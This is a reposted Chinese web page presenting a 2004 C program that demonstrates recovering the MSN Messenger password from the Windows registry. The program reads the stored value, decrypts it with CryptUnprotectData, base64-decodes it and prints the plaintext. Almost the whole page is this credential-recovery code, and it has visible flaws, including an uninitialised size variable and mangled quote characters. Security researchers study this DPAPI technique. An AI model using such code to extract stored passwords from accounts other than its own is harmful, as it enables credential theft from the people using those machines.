网络通信 频道

演示从注册表中还原MSNMessenger口令

/* MSNMessenger的口令是经过DPAPI加密后保存在注册表中的
  * 这个程序演示解码过程
  * tombkeeper[0x40]nsfocus[0x2e]com
  * tombkeeper[0x40]xfocus[0x2e]net
  * 2004.08.11
  */
  
  #include <Windows.h>
  
  
  #pragma comment(lib, "Advapi32.lib")
  
  #define FCHK(a)   if (!(a)) {printf(#a " failed\n"); return 0;}
  
  typedef struct _CRYPTOAPI_BLOB {
    DWORD cbData;
    BYTE* pbData;
  } DATA_BLOB;
  
  typedef struct _CRYPTPROTECT_PROMPTSTRUCT {
    DWORD cbSize;
    DWORD dwPromptFlags;
    HWND hwndApp;
    LPCWSTR szPrompt;
  } CRYPTPROTECT_PROMPTSTRUCT, *PCRYPTPROTECT_PROMPTSTRUCT;
  
  typedef BOOL (WINAPI *PCryptUnprotectData)(
    DATA_BLOB* pDataIn,
    LPWSTR* ppszDataDescr,
    DATA_BLOB* pOptionalEntropy,
    PVOID pvReserved,
    CRYPTPROTECT_PROMPTSTRUCT* pPromptStruct,
    DWORD dwFlags,
    DATA_BLOB* pDataOut
  );
  
  PCryptUnprotectData CryptUnprotectData = NULL;
  
  
  int main(void)
  {
    int ret;
    HMODULE hNtdll;
  
    HKEY hKey;
    DWORD dwType;
    char Data[0x100] = {0};
    DWORD dwSize;
  
    DATA_BLOB DataIn;
    DATA_BLOB DataOut;
  
    ret = RegOpenKeyEx
    (
      HKEY_CURRENT_USER,
      "Software\\Microsoft\\MSNMessenger",
      0,
      KEY_READ,
      &hKey
    );
    if( ret != ERROR_SUCCESS ) return 1;
  
    ret = RegQueryValueEx
    (
      hKey,
      "Password.NET Messenger Service",
      NULL,
      &dwType,
      Data,
      &dwSize
    );
    if( ret != ERROR_SUCCESS ) return 1;
  
    FCHK ((hNtdll = LoadLibrary ("Crypt32.dll")) != NULL);
    FCHK ((CryptUnprotectData = (PCryptUnprotectData)
        GetProcAddress (hNtdll, "CryptUnprotectData")) != NULL);
  
    DataIn.pbData = Data + 2;  //口令密文从第二位开始
    DataIn.cbData = dwSize-2;
  
    CryptUnprotectData
    (
      &DataIn,
      NULL,
      NULL,
      NULL,
      NULL,
      1,
      &DataOut
    );
  
    base64_decode (DataOut.pbData, Data, strlen(DataOut.pbData));
    printf ( "MSN Password: %s\n", Data);
    return 0;
  }
  
  //copied from GNU libc - libc/resolv/base64.c
  int base64_decode (char const *src, char *target, size_t targsize)
  {
    static const char Base64[] =
      "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    static const char Pad64 = ''='';
  
    int tarindex, state, ch;
    char *pos;
  
    state = 0;
    tarindex = 0;
  
    while ((ch = *src++) != ''\0'')
    {
      if (isspace (ch))     /* Skip whitespace anywhere. */
        continue;
  
      if (ch == Pad64)
        break;
  
      pos = strchr (Base64, ch);
      if (pos == 0)       /* A non-base64 character. */
        return (-1);
  
      switch (state)
      {
        case 0:
        if (target)
        {
          if ((size_t) tarindex >= targsize)
            return (-1);
          target[tarindex] = (pos - Base64) << 2;
        }
        state = 1;
        break;
        case 1:
        if (target)
        {
          if ((size_t) tarindex + 1 >= targsize)
            return (-1);
          target[tarindex] |= (pos - Base64) >> 4;
          target[tarindex + 1] = ((pos - Base64) & 0x0f) << 4;
        }
        tarindex++;
        state = 2;
        break;
        case 2:
        if (target)
        {
          if ((size_t) tarindex + 1 >= targsize)
            return (-1);
          target[tarindex] |= (pos - Base64) >> 2;
          target[tarindex + 1] = ((pos - Base64) & 0x03) << 6;
        }
        tarindex++;
        state = 3;
        break;
        case 3:
        if (target)
        {
          if ((size_t) tarindex >= targsize)
            return (-1);
          target[tarindex] |= (pos - Base64);
        }
        tarindex++;
        state = 0;
        break;
        default:
        abort ();
      }
    }
  
   /*
    * We are done decoding Base-64 chars. Let''s see if we ended
    * on a byte boundary, and/or with erroneous trailing characters.
    */
  
    if (ch == Pad64)
    {              /* We got a pad char. */
      ch = *src++;       /* Skip it, get next. */
      switch (state)
      {
        case 0:     /* Invalid = in first position */
        case 1:     /* Invalid = in second position */
          return (-1);
  
        case 2:     /* Valid, means one byte of info */
         /* Skip any number of spaces. */
        for ((void) NULL; ch != ''\0''; ch = *src++)
          if (!isspace (ch))
            break;
         /* Make sure there is another trailing = sign. */
        if (ch != Pad64)
          return (-1);
        ch = *src++;     /* Skip the = */
        /* Fall through to "single trailing =" case. */
        /* FALLTHROUGH */
  
        case 3:     /* Valid, means two bytes of info */
        /*
         * We know this char is an =. Is there anything but
         * whitespace after it?
        */
        for ((void) NULL; ch != ''\0''; ch = *src++)
          if (!isspace (ch))
            return (-1);
  
        /*
         * Now make sure for cases 2 and 3 that the "extra"
         * bits that slopped past the last full byte were
         * zeros. If we don''t check them, they become a
         * subliminal channel.
         */
        if (target && target[tarindex] != 0)
          return (-1);
      }
    }
    else
    {
      /*
       * We ended by seeing the end of the string. Make sure we
       * have no partial bytes lying around.
       */
      if (state != 0)
        return (-1);
    }
  
    return (tarindex);
  }

文章转载地址:http://www.cnpaf.net/Class/hack/0610111049223409732.html

0
相关文章